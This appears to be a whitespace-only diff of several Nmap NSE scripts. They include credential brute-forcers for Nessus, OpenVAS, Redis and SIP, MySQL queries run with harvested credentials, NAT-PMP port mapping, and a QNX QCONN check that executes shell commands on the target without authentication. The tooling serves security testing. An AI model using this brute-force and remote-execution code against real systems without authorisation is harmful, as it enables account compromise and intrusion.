local status, rs = mysql.sqlQuery( socket, arg_query )
|
local status, rs = mysql.sqlQuery( socket, arg_query )
|
||||||
socket:close()
|
socket:close()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
|
result = mysql.formatResultset(rs, { noheaders = arg_noheaders })
|
||||||
result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
|
result = ("%s\nQuery: %s\nUser: %s"):format(result, arg_query, username)
|
||||||
last_error = nil
|
last_error = nil
|
||||||
break
|
break
|
||||||
else
|
else
|
||||||
last_error = rs
|
last_error = rs
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result))
|
return stdnse.format_output(true, (last_error and ("ERROR: %s"):format(last_error) or result))
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -53,57 +53,57 @@ portrule = shortport.port_or_service(3306, "mysql")
|
|||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local catch = function() socket:close() end
|
local catch = function() socket:close() end
|
||||||
local try = nmap.new_try(catch)
|
local try = nmap.new_try(catch)
|
||||||
local result, response = {}, nil
|
local result, response = {}, nil
|
||||||
local users = {}
|
local users = {}
|
||||||
local nmap_args = nmap.registry.args
|
local nmap_args = nmap.registry.args
|
||||||
local status, rows
|
local status, rows
|
||||||
|
|
||||||
-- set a reasonable timeout value
|
-- set a reasonable timeout value
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
-- first, let's see if the script has any credentials as arguments?
|
-- first, let's see if the script has any credentials as arguments?
|
||||||
if nmap_args.mysqluser then
|
if nmap_args.mysqluser then
|
||||||
users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
|
users[nmap_args.mysqluser] = nmap_args.mysqlpass or ""
|
||||||
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
-- next, let's see if mysql-brute or mysql-empty-password brought us anything
|
||||||
elseif nmap.registry.mysqlusers then
|
elseif nmap.registry.mysqlusers then
|
||||||
-- do we have root credentials?
|
-- do we have root credentials?
|
||||||
if nmap.registry.mysqlusers['root'] then
|
if nmap.registry.mysqlusers['root'] then
|
||||||
users['root'] = nmap.registry.mysqlusers['root']
|
users['root'] = nmap.registry.mysqlusers['root']
|
||||||
else
|
else
|
||||||
-- we didn't have root, so let's make sure we loop over them all
|
-- we didn't have root, so let's make sure we loop over them all
|
||||||
users = nmap.registry.mysqlusers
|
users = nmap.registry.mysqlusers
|
||||||
end
|
end
|
||||||
-- last, no dice, we don't have any credentials at all
|
-- last, no dice, we don't have any credentials at all
|
||||||
else
|
else
|
||||||
stdnse.print_debug("No credentials supplied, aborting ...")
|
stdnse.print_debug("No credentials supplied, aborting ...")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
--
|
--
|
||||||
-- Iterates over credentials, breaks once it successfully recieves results
|
-- Iterates over credentials, breaks once it successfully recieves results
|
||||||
--
|
--
|
||||||
for username, password in pairs(users) do
|
for username, password in pairs(users) do
|
||||||
|
|
||||||
try( socket:connect(host, port) )
|
try( socket:connect(host, port) )
|
||||||
|
|
||||||
response = try( mysql.receiveGreeting( socket ) )
|
response = try( mysql.receiveGreeting( socket ) )
|
||||||
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
status, response = mysql.loginRequest( socket, { authversion = "post41", charset = response.charset }, username, password, response.salt )
|
||||||
|
|
||||||
if status and response.errorcode == 0 then
|
if status and response.errorcode == 0 then
|
||||||
local status, rs = mysql.sqlQuery( socket, "show variables" )
|
local status, rs = mysql.sqlQuery( socket, "show variables" )
|
||||||
if status then
|
if status then
|
||||||
for _, row in ipairs(rs.rows) do
|
for _, row in ipairs(rs.rows) do
|
||||||
table.insert(result, ("%s: %s"):format(row[1], row[2]) )
|
table.insert(result, ("%s: %s"):format(row[1], row[2]) )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -59,58 +59,58 @@ local function fail(str) return "\n ERROR: " .. str end
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local op = arg_op:lower()
|
local op = arg_op:lower()
|
||||||
|
|
||||||
if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
|
if ( "map" ~= op and "unmap" ~= op and "unmapall" ~= op ) then
|
||||||
return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
|
return fail("Operation must be either \"map\", \"unmap\" or \"unmapall\"")
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( ("map" == op or "unmap" == op ) and
|
if ( ("map" == op or "unmap" == op ) and
|
||||||
( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
|
( not(arg_pubport) or not(arg_privport) or not(arg_protocol) ) ) then
|
||||||
return fail("The arguments pubport, privport and protocol are required")
|
return fail("The arguments pubport, privport and protocol are required")
|
||||||
elseif ( "unmapall" == op and not(arg_protocol) ) then
|
elseif ( "unmapall" == op and not(arg_protocol) ) then
|
||||||
return fail("The argument protocol is required")
|
return fail("The argument protocol is required")
|
||||||
end
|
end
|
||||||
|
|
||||||
local helper = natpmp.Helper:new(host, port)
|
local helper = natpmp.Helper:new(host, port)
|
||||||
|
|
||||||
if ( "unmap" == op or "unmapall" == op ) then
|
if ( "unmap" == op or "unmapall" == op ) then
|
||||||
arg_lifetime = 0
|
arg_lifetime = 0
|
||||||
end
|
end
|
||||||
if ( "unmapall" == op ) then
|
if ( "unmapall" == op ) then
|
||||||
arg_pubport, arg_privport = 0, 0
|
arg_pubport, arg_privport = 0, 0
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:getWANIP()
|
local status, response = helper:getWANIP()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to retrieve WAN IP")
|
return fail("Failed to retrieve WAN IP")
|
||||||
end
|
end
|
||||||
|
|
||||||
local wan_ip = response.ip
|
local wan_ip = response.ip
|
||||||
local lan_ip = (nmap.get_interface_info(host.interface)).address
|
local lan_ip = (nmap.get_interface_info(host.interface)).address
|
||||||
|
|
||||||
local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
|
local status, response = helper:mapPort(arg_pubport, arg_privport, arg_protocol, arg_lifetime)
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(response)
|
return fail(response)
|
||||||
end
|
end
|
||||||
|
|
||||||
local output
|
local output
|
||||||
if ( "unmap" == op ) then
|
if ( "unmap" == op ) then
|
||||||
output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
|
output = ("Successfully unmapped %s %s:%d -> %s:%d"):format(
|
||||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||||
elseif ( "unmapall" == op ) then
|
elseif ( "unmapall" == op ) then
|
||||||
output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
|
output = ("Sucessfully unmapped all %s NAT mappings for %s"):format(arg_protocol, lan_ip)
|
||||||
else
|
else
|
||||||
output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
|
output = ("Successfully mapped %s %s:%d -> %s:%d"):format(
|
||||||
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
arg_protocol, wan_ip, response.pubport, lan_ip, response.privport )
|
||||||
|
|
||||||
if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
|
if ( tonumber(arg_pubport) ~= tonumber(response.pubport) ) then
|
||||||
output = { output }
|
output = { output }
|
||||||
table.insert(output, "WARNING: Requested public port could not be allocated")
|
table.insert(output, "WARNING: Requested public port could not be allocated")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -36,95 +36,95 @@ arg_timeout = (arg_timeout or 5) * 1000
|
|||||||
local arg_threads = stdnse.get_script_args("nessus-xmlrpc-brute.threads")
|
local arg_threads = stdnse.get_script_args("nessus-xmlrpc-brute.threads")
|
||||||
|
|
||||||
local function authenticate(host, port, username, password)
|
local function authenticate(host, port, username, password)
|
||||||
local post_data = ("login=%s&password=%s"):format(username, password)
|
local post_data = ("login=%s&password=%s"):format(username, password)
|
||||||
|
|
||||||
local headers = {
|
local headers = {
|
||||||
"POST /login HTTP/1.1",
|
"POST /login HTTP/1.1",
|
||||||
"User-Agent: Nmap",
|
"User-Agent: Nmap",
|
||||||
("Host: %s:%d"):format(host.ip, port.number),
|
("Host: %s:%d"):format(host.ip, port.number),
|
||||||
"Accept: */*",
|
"Accept: */*",
|
||||||
("Content-Length: %d"):format(#post_data),
|
("Content-Length: %d"):format(#post_data),
|
||||||
"Content-Type: application/x-www-form-urlencoded",
|
"Content-Type: application/x-www-form-urlencoded",
|
||||||
}
|
}
|
||||||
|
|
||||||
local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
|
local data = table.concat(headers, "\r\n") .. "\r\n\r\n" .. post_data
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(arg_timeout)
|
socket:set_timeout(arg_timeout)
|
||||||
|
|
||||||
local status, err = socket:connect(host, port)
|
local status, err = socket:connect(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
local status, err = socket:send(data)
|
local status, err = socket:send(data)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send request to server"
|
return false, "Failed to send request to server"
|
||||||
end
|
end
|
||||||
local status, response = socket:receive()
|
local status, response = socket:receive()
|
||||||
socket:close()
|
socket:close()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
end
|
end
|
||||||
return status, response
|
return status, response
|
||||||
end
|
end
|
||||||
|
|
||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
new = function (self, host, port )
|
new = function (self, host, port )
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable (o,self)
|
setmetatable (o,self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function ( self ) return true end,
|
connect = function ( self ) return true end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
|
|
||||||
local status, response = authenticate(self.host, self.port, username, password)
|
local status, response = authenticate(self.host, self.port, username, password)
|
||||||
if ( status and response ) then
|
if ( status and response ) then
|
||||||
if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
|
if ( response:match("^HTTP/1.1 200 OK.*<status>OK</status>") ) then
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
|
elseif ( response:match("^HTTP/1.1 200 OK.*<status>ERROR</status>") ) then
|
||||||
return false, brute.Error:new("incorrect login")
|
return false, brute.Error:new("incorrect login")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
local err = brute.Error:new( "incorrect response from server" )
|
local err = brute.Error:new( "incorrect response from server" )
|
||||||
err:setRetry(true)
|
err:setRetry(true)
|
||||||
return false, err
|
return false, err
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self ) return true end,
|
disconnect = function( self ) return true end,
|
||||||
}
|
}
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
local status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(response)
|
return fail(response)
|
||||||
end
|
end
|
||||||
-- patch the protocol due to the ugly way the Nessus web server works.
|
-- patch the protocol due to the ugly way the Nessus web server works.
|
||||||
-- The server answers non-ssl connections as legitimate http stating that
|
-- The server answers non-ssl connections as legitimate http stating that
|
||||||
-- the server should be connected to using https on the same port. ugly.
|
-- the server should be connected to using https on the same port. ugly.
|
||||||
if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
|
if ( status and response:match("^HTTP/1.1 400 Bad request\r\n") ) then
|
||||||
port.protocol = "ssl"
|
port.protocol = "ssl"
|
||||||
status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
status, response = authenticate(host, port, "nmap-ssl-test-probe", "nmap-ssl-test-probe")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(response)
|
return fail(response)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
|
if ( not(response:match("^HTTP/1.1 200 OK.*Server: NessusWWW.*<status>ERROR</status>")) ) then
|
||||||
return fail("Failed to detect Nessus Web server")
|
return fail("Failed to detect Nessus Web server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
if ( arg_threads ) then
|
if ( arg_threads ) then
|
||||||
engine:setMaxThreads(arg_threads)
|
engine:setMaxThreads(arg_threads)
|
||||||
end
|
end
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -34,79 +34,79 @@ portrule = shortport.port_or_service({9390,9391}, "openvas", "tcp")
|
|||||||
|
|
||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
new = function (self, host, port)
|
new = function (self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable (o,self)
|
setmetatable (o,self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function ( self )
|
connect = function ( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, err = self.socket:send("< OTP/1.0 >\n")
|
local status, err = self.socket:send("< OTP/1.0 >\n")
|
||||||
|
|
||||||
if ( not ( status ) ) then
|
if ( not ( status ) ) then
|
||||||
local err = brute.Error:new( "Unable to send handshake" )
|
local err = brute.Error:new( "Unable to send handshake" )
|
||||||
err:setAbort(true)
|
err:setAbort(true)
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local response
|
local response
|
||||||
status, response = self.socket:receive_buf("\r?\n", false)
|
status, response = self.socket:receive_buf("\r?\n", false)
|
||||||
if ( not(status) or response ~= "< OTP/1.0 >" ) then
|
if ( not(status) or response ~= "< OTP/1.0 >" ) then
|
||||||
local err = brute.Error:new( "Bad handshake from server: "..response )
|
local err = brute.Error:new( "Bad handshake from server: "..response )
|
||||||
err:setAbort(true)
|
err:setAbort(true)
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = self.socket:send(username.."\n")
|
status, err = self.socket:send(username.."\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Couldn't send user: "..username )
|
local err = brute.Error:new( "Couldn't send user: "..username )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = self.socket:send(password.."\n")
|
status, err = self.socket:send(password.."\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Couldn't send password: "..password )
|
local err = brute.Error:new( "Couldn't send password: "..password )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Create a buffer and receive the first line
|
-- Create a buffer and receive the first line
|
||||||
local line
|
local line
|
||||||
status, line = self.socket:receive_buf("\r?\n", false)
|
status, line = self.socket:receive_buf("\r?\n", false)
|
||||||
|
|
||||||
if (line == nil or string.match(line,"Bad login")) then
|
if (line == nil or string.match(line,"Bad login")) then
|
||||||
stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password)
|
stdnse.print_debug(2, "openvas-otp-brute: Bad login: %s/%s", username, password)
|
||||||
return false, brute.Error:new( "Bad login" )
|
return false, brute.Error:new( "Bad login" )
|
||||||
elseif (string.match(line,"SERVER <|>")) then
|
elseif (string.match(line,"SERVER <|>")) then
|
||||||
|
|
||||||
stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password)
|
stdnse.print_debug(1, "openvas-otp-brute: Good login: %s/%s", username, password)
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line)
|
stdnse.print_debug(1, "openvas-otp-brute: WARNING: Unhandled response: %s", line)
|
||||||
return false, brute.Error:new( "unhandled response" )
|
return false, brute.Error:new( "unhandled response" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
end,
|
end,
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine:setMaxThreads(1)
|
engine:setMaxThreads(1)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -61,54 +61,54 @@ categories = {"intrusive", "exploit", "vuln"}
|
|||||||
portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"})
|
portrule = shortport.port_or_service ({8000}, "qconn", {"tcp"})
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local vuln_table = {
|
local vuln_table = {
|
||||||
title = "The QNX QCONN daemon allows remote command execution.",
|
title = "The QNX QCONN daemon allows remote command execution.",
|
||||||
state = vulns.STATE.NOT_VULN,
|
state = vulns.STATE.NOT_VULN,
|
||||||
risk_factor = "High",
|
risk_factor = "High",
|
||||||
description = [[
|
description = [[
|
||||||
The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
|
The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating
|
||||||
system commands as the 'root' user.
|
system commands as the 'root' user.
|
||||||
]],
|
]],
|
||||||
|
|
||||||
references = {
|
references = {
|
||||||
'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
|
'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos',
|
||||||
'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
|
'http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec'
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
-- Set socket timeout
|
-- Set socket timeout
|
||||||
local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
|
local timeout = (stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) or 30)
|
||||||
|
|
||||||
-- Set max bytes to retrieve
|
-- Set max bytes to retrieve
|
||||||
local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
|
local bytes = (stdnse.get_script_args(SCRIPT_NAME .. '.bytes') or 1024)
|
||||||
|
|
||||||
-- Set command to execute
|
-- Set command to execute
|
||||||
local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
|
local cmd = (stdnse.get_script_args(SCRIPT_NAME .. '.cmd') or "uname -a")
|
||||||
|
|
||||||
-- Send command as service launcher request
|
-- Send command as service launcher request
|
||||||
local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
|
local req = string.format("service launcher\nstart/flags run /bin/sh /bin/sh -c \"%s\"\n", cmd)
|
||||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
|
local status, data = comm.exchange(host, port, req, {timeout=timeout*1000,bytes=bytes})
|
||||||
if not status then
|
if not status then
|
||||||
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
stdnse.print_debug(1, ("%s: Timeout exceeded for %s:%s (Timeout: %ss)."):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Parse response
|
-- Parse response
|
||||||
stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data))
|
stdnse.print_debug(2, ("%s: Received reply:\n%s"):format(SCRIPT_NAME, data))
|
||||||
if not string.match(data, "QCONN") then
|
if not string.match(data, "QCONN") then
|
||||||
stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s is not a QNX QCONN daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if the daemon attempted to execute the command
|
-- Check if the daemon attempted to execute the command
|
||||||
if string.match(data, 'OK [0-9]+\r?\n') then
|
if string.match(data, 'OK [0-9]+\r?\n') then
|
||||||
vuln_table.state = vulns.STATE.VULN
|
vuln_table.state = vulns.STATE.VULN
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
return report:make_output(vuln_table)
|
return report:make_output(vuln_table)
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s QNX QCONN daemon is not vulnerable."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -33,80 +33,80 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.helper = redis.Helper:new(self.host, self.port)
|
self.helper = redis.Helper:new(self.host, self.port)
|
||||||
return self.helper:connect()
|
return self.helper:connect()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, response = self.helper:reqCmd("AUTH", password)
|
local status, response = self.helper:reqCmd("AUTH", password)
|
||||||
|
|
||||||
-- some error occured, attempt to retry
|
-- some error occured, attempt to retry
|
||||||
if ( status and response.type == redis.Response.Type.ERROR and
|
if ( status and response.type == redis.Response.Type.ERROR and
|
||||||
"-ERR invalid password" == response.data ) then
|
"-ERR invalid password" == response.data ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
elseif ( status and response.type == redis.Response.Type.STATUS and
|
elseif ( status and response.type == redis.Response.Type.STATUS and
|
||||||
"+OK" ) then
|
"+OK" ) then
|
||||||
return true, brute.Account:new( "", password, creds.State.VALID)
|
return true, brute.Account:new( "", password, creds.State.VALID)
|
||||||
else
|
else
|
||||||
local err = brute.Error:new( response.data )
|
local err = brute.Error:new( response.data )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.helper:close()
|
return self.helper:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
local function checkRedis(host, port)
|
local function checkRedis(host, port)
|
||||||
|
|
||||||
local helper = redis.Helper:new(host, port)
|
local helper = redis.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:reqCmd("INFO")
|
local status, response = helper:reqCmd("INFO")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to request INFO command"
|
return false, "Failed to request INFO command"
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( redis.Response.Type.ERROR == response.type ) then
|
if ( redis.Response.Type.ERROR == response.type ) then
|
||||||
if ( "-ERR operation not permitted" == response.data ) or
|
if ( "-ERR operation not permitted" == response.data ) or
|
||||||
( "-NOAUTH Authentication required." == response.data) then
|
( "-NOAUTH Authentication required." == response.data) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, "Server does not require authentication"
|
return false, "Server does not require authentication"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, err = checkRedis(host, port)
|
local status, err = checkRedis(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(err)
|
return fail(err)
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
engine.options:setOption( "passonly", true )
|
engine.options:setOption( "passonly", true )
|
||||||
|
|
||||||
local result
|
local result
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -80,8 +80,8 @@ action = function (host, port)
|
|||||||
title = "RMI registry default configuration remote code execution vulnerability",
|
title = "RMI registry default configuration remote code execution vulnerability",
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
|
Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code executeion.
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb',
|
'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb',
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -33,42 +33,42 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
|
self.helper = sip.Helper:new(self.host, self.port, { expires = 0 })
|
||||||
local status, err = self.helper:connect()
|
local status, err = self.helper:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "ERROR: Failed to connect to SIP server"
|
return "ERROR: Failed to connect to SIP server"
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
